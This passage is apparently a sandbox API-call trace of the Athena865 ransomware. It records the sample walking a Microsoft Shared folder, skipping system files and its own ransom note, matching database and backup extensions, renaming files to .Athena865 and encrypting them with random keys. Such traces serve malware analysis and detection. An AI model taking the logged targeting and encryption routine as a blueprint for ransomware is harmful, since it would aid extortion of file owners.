(lpString1=".TXT", lpString2="vbox") returned -1 [0116.191] lstrlenW (lpString="vdi") returned 3 [0116.191] lstrcmpiW (lpString1="TXT", lpString2="vdi") returned -1 [0116.191] lstrlenW (lpString="vhd") returned 3 [0116.191] lstrcmpiW (lpString1="TXT", lpString2="vhd") returned -1 [0116.191] lstrlenW (lpString="vhdx") returned 4 [0116.191] lstrcmpiW (lpString1=".TXT", lpString2="vhdx") returned -1 [0116.191] lstrlenW (lpString="avhd") returned 4 [0116.191] lstrcmpiW (lpString1=".TXT", lpString2="avhd") returned -1 [0116.192] lstrlenW (lpString="db") returned 2 [0116.192] lstrcmpiW (lpString1="XT", lpString2="db") returned 1 [0116.192] lstrlenW (lpString="db2") returned 3 [0116.192] lstrcmpiW (lpString1="TXT", lpString2="db2") returned 1 [0116.192] lstrlenW (lpString="db3") returned 3 [0116.192] lstrcmpiW (lpString1="TXT", lpString2="db3") returned 1 [0116.192] lstrlenW (lpString="dbf") returned 3 [0116.192] lstrcmpiW (lpString1="TXT", lpString2="dbf") returned 1 [0116.192] lstrlenW (lpString="mdf") returned 3 [0116.192] lstrcmpiW (lpString1="TXT", lpString2="mdf") returned 1 [0116.192] lstrlenW (lpString="mdb") returned 3 [0116.193] lstrcmpiW (lpString1="TXT", lpString2="mdb") returned 1 [0116.193] lstrlenW (lpString="sql") returned 3 [0116.193] lstrcmpiW (lpString1="TXT", lpString2="sql") returned 1 [0116.193] lstrlenW (lpString="sqlite") returned 6 [0116.193] lstrcmpiW (lpString1="NV.TXT", lpString2="sqlite") returned -1 [0116.193] lstrlenW (lpString="sqlite3") returned 7 [0116.193] lstrcmpiW (lpString1="ONV.TXT", lpString2="sqlite3") returned -1 [0116.193] lstrlenW (lpString="sqlitedb") returned 8 [0116.193] lstrcmpiW (lpString1="CONV.TXT", lpString2="sqlitedb") returned -1 [0116.193] lstrlenW (lpString="xml") returned 3 [0116.193] lstrcmpiW (lpString1="TXT", lpString2="xml") returned -1 [0116.193] lstrlenW (lpString="$er") returned 3 [0116.193] lstrcmpiW (lpString1="TXT", lpString2="$er") returned 1 [0116.193] lstrlenW (lpString="4dd") returned 3 [0116.193] lstrcmpiW (lpString1="TXT", lpString2="4dd") returned 1 [0116.193] lstrlenW (lpString="4dl") returned 3 [0116.193] lstrcmpiW (lpString1="TXT", lpString2="4dl") returned 1 [0116.193] lstrlenW (lpString="^^^") returned 3 [0116.193] lstrcmpiW (lpString1="TXT", lpString2="^^^") returned 1 [0116.193] lstrlenW (lpString="abs") returned 3 [0116.193] lstrcmpiW (lpString1="TXT", lpString2="abs") returned 1 [0116.193] lstrlenW (lpString="abx") returned 3 [0116.193] lstrcmpiW (lpString1="TXT", lpString2="abx") returned 1 [0116.193] lstrlenW (lpString="accdb") returned 5 [0116.193] lstrcmpiW (lpString1="V.TXT", lpString2="accdb") returned 1 [0116.193] lstrlenW (lpString="accdc") returned 5 [0116.193] lstrcmpiW (lpString1="V.TXT", lpString2="accdc") returned 1 [0116.193] lstrlenW (lpString="accde") returned 5 [0116.193] lstrcmpiW (lpString1="V.TXT", lpString2="accde") returned 1 [0116.193] lstrlenW (lpString="accdr") returned 5 [0116.194] lstrcmpiW (lpString1="V.TXT", lpString2="accdr") returned 1 [0116.194] lstrlenW (lpString="accdt") returned 5 [0116.194] lstrcmpiW (lpString1="V.TXT", lpString2="accdt") returned 1 [0116.194] lstrlenW (lpString="accdw") returned 5 [0116.194] lstrcmpiW (lpString1="V.TXT", lpString2="accdw") returned 1 [0116.194] lstrlenW (lpString="accft") returned 5 [0116.194] lstrcmpiW (lpString1="V.TXT", lpString2="accft") returned 1 [0116.194] lstrlenW (lpString="adb") returned 3 [0116.194] lstrcmpiW (lpString1="TXT", lpString2="adb") returned 1 [0116.194] lstrlenW (lpString="adb") returned 3 [0116.194] lstrcmpiW (lpString1="TXT", lpString2="adb") returned 1 [0116.194] lstrlenW (lpString="ade") returned 3 [0116.194] lstrcmpiW (lpString1="TXT", lpString2="ade") returned 1 [0116.194] lstrlenW (lpString="adf") returned 3 [0116.194] lstrcmpiW (lpString1="TXT", lpString2="adf") returned 1 [0116.194] lstrlenW (lpString="adn") returned 3 [0116.194] lstrcmpiW (lpString1="TXT", lpString2="adn") returned 1 [0116.194] lstrlenW (lpString="adp") returned 3 [0116.194] lstrcmpiW (lpString1="TXT", lpString2="adp") returned 1 [0116.194] lstrlenW (lpString="alf") returned 3 [0116.194] lstrcmpiW (lpString1="TXT", lpString2="alf") returned 1 [0116.194] lstrlenW (lpString="ask") returned 3 [0116.194] lstrcmpiW (lpString1="TXT", lpString2="ask") returned 1 [0116.194] lstrlenW (lpString="btr") returned 3 [0116.194] lstrcmpiW (lpString1="TXT", lpString2="btr") returned 1 [0116.194] lstrlenW (lpString="cat") returned 3 [0116.194] lstrcmpiW (lpString1="TXT", lpString2="cat") returned 1 [0116.194] lstrlenW (lpString="cdb") returned 3 [0116.194] lstrcmpiW (lpString1="TXT", lpString2="cdb") returned 1 [0116.194] lstrlenW (lpString="ckp") returned 3 [0116.195] lstrcmpiW (lpString1="TXT", lpString2="ckp") returned 1 [0116.195] lstrlenW (lpString="cma") returned 3 [0116.195] lstrcmpiW (lpString1="TXT", lpString2="cma") returned 1 [0116.195] lstrlenW (lpString="cpd") returned 3 [0116.195] lstrcmpiW (lpString1="TXT", lpString2="cpd") returned 1 [0116.195] lstrlenW (lpString="dacpac") returned 6 [0116.195] lstrcmpiW (lpString1="NV.TXT", lpString2="dacpac") returned 1 [0116.195] lstrlenW (lpString="dad") returned 3 [0116.195] lstrcmpiW (lpString1="TXT", lpString2="dad") returned 1 [0116.195] lstrlenW (lpString="dadiagrams") returned 10 [0116.195] lstrcmpiW (lpString1="ETCONV.TXT", lpString2="dadiagrams") returned 1 [0116.195] lstrlenW (lpString="daschema") returned 8 [0116.195] lstrcmpiW (lpString1="CONV.TXT", lpString2="daschema") returned -1 [0116.195] lstrlenW (lpString="db-journal") returned 10 [0116.195] lstrcmpiW (lpString1="ETCONV.TXT", lpString2="db-journal") returned 1 [0116.195] lstrlenW (lpString="db-shm") returned 6 [0116.195] lstrcmpiW (lpString1="NV.TXT", lpString2="db-shm") returned 1 [0116.195] lstrlenW (lpString="db-wal") returned 6 [0116.195] lstrcmpiW (lpString1="NV.TXT", lpString2="db-wal") returned 1 [0116.195] lstrlenW (lpString="dbc") returned 3 [0116.195] lstrcmpiW (lpString1="TXT", lpString2="dbc") returned 1 [0116.195] lstrlenW (lpString="dbs") returned 3 [0116.195] lstrcmpiW (lpString1="TXT", lpString2="dbs") returned 1 [0116.195] lstrlenW (lpString="dbt") returned 3 [0116.195] lstrcmpiW (lpString1="TXT", lpString2="dbt") returned 1 [0116.195] lstrlenW (lpString="dbv") returned 3 [0116.195] lstrcmpiW (lpString1="TXT", lpString2="dbv") returned 1 [0116.195] lstrlenW (lpString="dbx") returned 3 [0116.195] lstrcmpiW (lpString1="TXT", lpString2="dbx") returned 1 [0116.195] lstrlenW (lpString="dcb") returned 3 [0116.195] lstrcmpiW (lpString1="TXT", lpString2="dcb") returned 1 [0116.196] lstrcmpiW (lpString1="TXT", lpString2="dct") returned 1 [0116.196] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.Athena865") returned 78 [0116.196] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.athena865"), dwFlags=0x1) returned 1 [0116.197] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\METCONV.TXT.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\metconv.txt.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.197] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=1183416) returned 1 [0116.197] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.198] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519bb8 [0116.198] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519b30) returned 1 [0116.198] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.198] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.199] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1211c0, lpName=0x0) returned 0x154 [0116.200] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1211c0) returned 0x2d50000 [0116.253] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519b30) returned 1 [0116.254] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.254] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.254] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.254] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.254] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0116.264] CloseHandle (hObject=0x154) returned 1 [0116.264] CloseHandle (hObject=0x17c) returned 1 [0116.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519bb8 | out: hHeap=0x4f0000) returned 1 [0116.264] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.270] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x802a9400, ftCreationTime.dwHighDateTime=0x1caad0b, ftLastAccessTime.dwLowDateTime=0x69c4c990, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x802a9400, ftLastWriteTime.dwHighDateTime=0x1caad0b, nFileSizeHigh=0x0, nFileSizeLow=0x59180, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MOFL.DLL", cAlternateFileName="")) returned 1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2=".") returned 1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="..") returned 1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="windows") returned -1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="bootmgr") returned 1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="temp") returned -1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="pagefile.sys") returned -1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="boot") returned 1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="ids.txt") returned 1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="ntuser.dat") returned -1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="perflogs") returned -1 [0116.270] lstrcmpiW (lpString1="MOFL.DLL", lpString2="MSBuild") returned -1 [0116.270] lstrlenW (lpString="MOFL.DLL") returned 8 [0116.270] lstrcpyW (in: lpString1=0x241e8ba, lpString2="MOFL.DLL" | out: lpString1="MOFL.DLL") returned="MOFL.DLL" [0116.270] lstrlenW (lpString="MOFL.DLL") returned 8 [0116.271] lstrlenW (lpString="Athena865") returned 9 [0116.271] lstrlenW (lpString=".dll") returned 4 [0116.271] lstrcmpiW (lpString1="MOFL.DLL", lpString2=".dll") returned 1 [0116.271] lstrlenW (lpString=".lnk") returned 4 [0116.271] lstrcmpiW (lpString1="MOFL.DLL", lpString2=".lnk") returned 1 [0116.271] lstrlenW (lpString=".ini") returned 4 [0116.271] lstrcmpiW (lpString1="MOFL.DLL", lpString2=".ini") returned 1 [0116.271] lstrlenW (lpString=".sys") returned 4 [0116.271] lstrcmpiW (lpString1="MOFL.DLL", lpString2=".sys") returned 1 [0116.271] lstrlenW (lpString="MOFL.DLL") returned 8 [0116.271] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.Athena865") returned 75 [0116.271] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.athena865"), dwFlags=0x1) returned 1 [0116.272] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MOFL.DLL.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mofl.dll.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.272] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=364928) returned 1 [0116.272] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.272] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.272] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519bb8 [0116.272] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519b30) returned 1 [0116.273] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.273] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.273] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x59480, lpName=0x0) returned 0x154 [0116.275] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x59480) returned 0x2d50000 [0116.287] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519b30) returned 1 [0116.288] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.288] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.288] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.288] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.288] UnmapViewOfFile (lpBaseAddress=0x2d50000) returned 1 [0116.291] CloseHandle (hObject=0x154) returned 1 [0116.291] CloseHandle (hObject=0x17c) returned 1 [0116.291] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519bb8 | out: hHeap=0x4f0000) returned 1 [0116.292] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.293] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xab68100, ftCreationTime.dwHighDateTime=0x1cac9a5, ftLastAccessTime.dwLowDateTime=0x5943a0f0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab68100, ftLastWriteTime.dwHighDateTime=0x1cac9a5, nFileSizeHigh=0x0, nFileSizeLow=0x3574, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="MSTAG.TLB", cAlternateFileName="")) returned 1 [0116.293] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.293] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.293] lstrcmpiW (lpString1="MSTAG.TLB", lpString2=".") returned 1 [0116.293] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="..") returned 1 [0116.293] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="windows") returned -1 [0116.293] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="bootmgr") returned 1 [0116.293] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="temp") returned -1 [0116.293] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="pagefile.sys") returned -1 [0116.293] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="boot") returned 1 [0116.293] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="ids.txt") returned 1 [0116.294] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="ntuser.dat") returned -1 [0116.294] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="perflogs") returned -1 [0116.294] lstrcmpiW (lpString1="MSTAG.TLB", lpString2="MSBuild") returned 1 [0116.294] lstrlenW (lpString="MSTAG.TLB") returned 9 [0116.294] lstrcpyW (in: lpString1=0x241e8ba, lpString2="MSTAG.TLB" | out: lpString1="MSTAG.TLB") returned="MSTAG.TLB" [0116.294] lstrlenW (lpString="MSTAG.TLB") returned 9 [0116.294] lstrlenW (lpString="Athena865") returned 9 [0116.294] lstrlenW (lpString=".dll") returned 4 [0116.294] lstrcmpiW (lpString1="MSTAG.TLB", lpString2=".dll") returned 1 [0116.294] lstrlenW (lpString=".lnk") returned 4 [0116.294] lstrcmpiW (lpString1="MSTAG.TLB", lpString2=".lnk") returned 1 [0116.294] lstrlenW (lpString=".ini") returned 4 [0116.294] lstrcmpiW (lpString1="MSTAG.TLB", lpString2=".ini") returned 1 [0116.294] lstrlenW (lpString=".sys") returned 4 [0116.294] lstrcmpiW (lpString1="MSTAG.TLB", lpString2=".sys") returned 1 [0116.294] lstrlenW (lpString="MSTAG.TLB") returned 9 [0116.294] wsprintfW (in: param_1=0x241d508, param_2="%s.%s" | out: param_1="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.Athena865") returned 76 [0116.294] MoveFileExW (lpExistingFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb"), lpNewFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.athena865"), dwFlags=0x1) returned 1 [0116.295] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\Microsoft Shared\\Smart Tag\\MSTAG.TLB.Athena865" (normalized: "c:\\program files\\common files\\microsoft shared\\smart tag\\mstag.tlb.athena865"), dwDesiredAccess=0xc00e0000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x8a000080, hTemplateFile=0x0) returned 0x17c [0116.295] GetFileSizeEx (in: hFile=0x17c, lpFileSize=0x241e418 | out: lpFileSize=0x241e418*=13684) returned 1 [0116.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x200300) returned 0x2b40020 [0116.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e88 [0116.295] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x80) returned 0x519bb8 [0116.296] CryptAcquireContextW (in: phProv=0x241d1c4, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d1c4*=0x519b30) returned 1 [0116.296] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d1d8 | out: pbBuffer=0x241d1d8) returned 1 [0116.296] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.296] CreateFileMappingW (hFile=0x17c, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x3880, lpName=0x0) returned 0x154 [0116.298] MapViewOfFile (hFileMappingObject=0x154, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x3880) returned 0x100000 [0116.299] CryptAcquireContextW (in: phProv=0x241d174, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x241d174*=0x519b30) returned 1 [0116.300] CryptGenRandom (in: hProv=0x519b30, dwLen=0x80, pbBuffer=0x241d188 | out: pbBuffer=0x241d188) returned 1 [0116.300] CryptReleaseContext (hProv=0x519b30, dwFlags=0x0) returned 1 [0116.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x6c) returned 0x538e10 [0116.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e10 | out: hHeap=0x4f0000) returned 1 [0116.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x100) returned 0x54dd40 [0116.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530d20 [0116.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x104) returned 0x530e38 [0116.300] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x8, Size=0x208) returned 0x54dd40 [0116.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530e38 | out: hHeap=0x4f0000) returned 1 [0116.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x54dd40 | out: hHeap=0x4f0000) returned 1 [0116.300] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x530d20 | out: hHeap=0x4f0000) returned 1 [0116.300] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1 [0116.301] CloseHandle (hObject=0x154) returned 1 [0116.301] CloseHandle (hObject=0x17c) returned 1 [0116.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x538e88 | out: hHeap=0x4f0000) returned 1 [0116.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x519bb8 | out: hHeap=0x4f0000) returned 1 [0116.301] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x2b40020 | out: hHeap=0x4f0000) returned 1 [0116.301] FindNextFileW (in: hFindFile=0x529bd0, lpFindFileData=0x241e5f8 | out: lpFindFileData=0x241e5f8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x5de00200, ftCreationTime.dwHighDateTime=0x1cac9ac, ftLastAccessTime.dwLowDateTime=0x6d2e6230, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5de00200, ftLastWriteTime.dwHighDateTime=0x1cac9ac, nFileSizeHigh=0x0, nFileSizeLow=0x3d80, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SmartTagInstall.exe", cAlternateFileName="SMARTT~1.EXE")) returned 1 [0116.301] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 1 [0116.301] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="CUsersGustavoDesktopAthena865.exe") returned 1 [0116.301] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2=".") returned 1 [0116.301] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="..") returned 1 [0116.301] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="windows") returned -1 [0116.301] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="bootmgr") returned 1 [0116.301] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="temp") returned -1 [0116.302] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="pagefile.sys") returned 1 [0116.302] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="boot") returned 1 [0116.302] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="ids.txt") returned 1 [0116.302] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="ntuser.dat") returned 1 [0116.302] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="perflogs") returned 1 [0116.302] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2="MSBuild") returned 1 [0116.302] lstrlenW (lpString="SmartTagInstall.exe") returned 19 [0116.302] lstrcpyW (in: lpString1=0x241e8ba, lpString2="SmartTagInstall.exe" | out: lpString1="SmartTagInstall.exe") returned="SmartTagInstall.exe" [0116.302] lstrlenW (lpString="SmartTagInstall.exe") returned 19 [0116.302] lstrlenW (lpString="Athena865") returned 9 [0116.302] lstrcmpiW (lpString1="stall.exe", lpString2="Athena865") returned 1 [0116.302] lstrlenW (lpString=".dll") returned 4 [0116.302] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2=".dll") returned 1 [0116.302] lstrlenW (lpString=".lnk") returned 4 [0116.302] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2=".lnk") returned 1 [0116.302] lstrlenW (lpString=".ini") returned 4 [0116.302] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2=".ini") returned 1 [0116.302] lstrlenW (lpString=".sys") returned 4 [0116.302] lstrcmpiW (lpString1="SmartTagInstall.exe", lpString2=".sys") returned 1 [0116.302] lstrlenW (lpString="SmartTagInstall.exe") returned 19 [0116.302] lstrlenW (lpString="bak") returned 3 [0116.302] lstrcmpiW (lpString1="exe", lpString2="bak") returned 1 [0116.302] lstrlenW (lpString="ba_") returned 3 [0116.302] lstrcmpiW (lpString1="exe", lpString2="ba_") returned 1 [0116.302] lstrlenW (lpString="dbb") returned 3 [0116.302] lstrcmpiW (lpString1="exe", lpString2="dbb") returned 1 [0116.302] lstrlenW 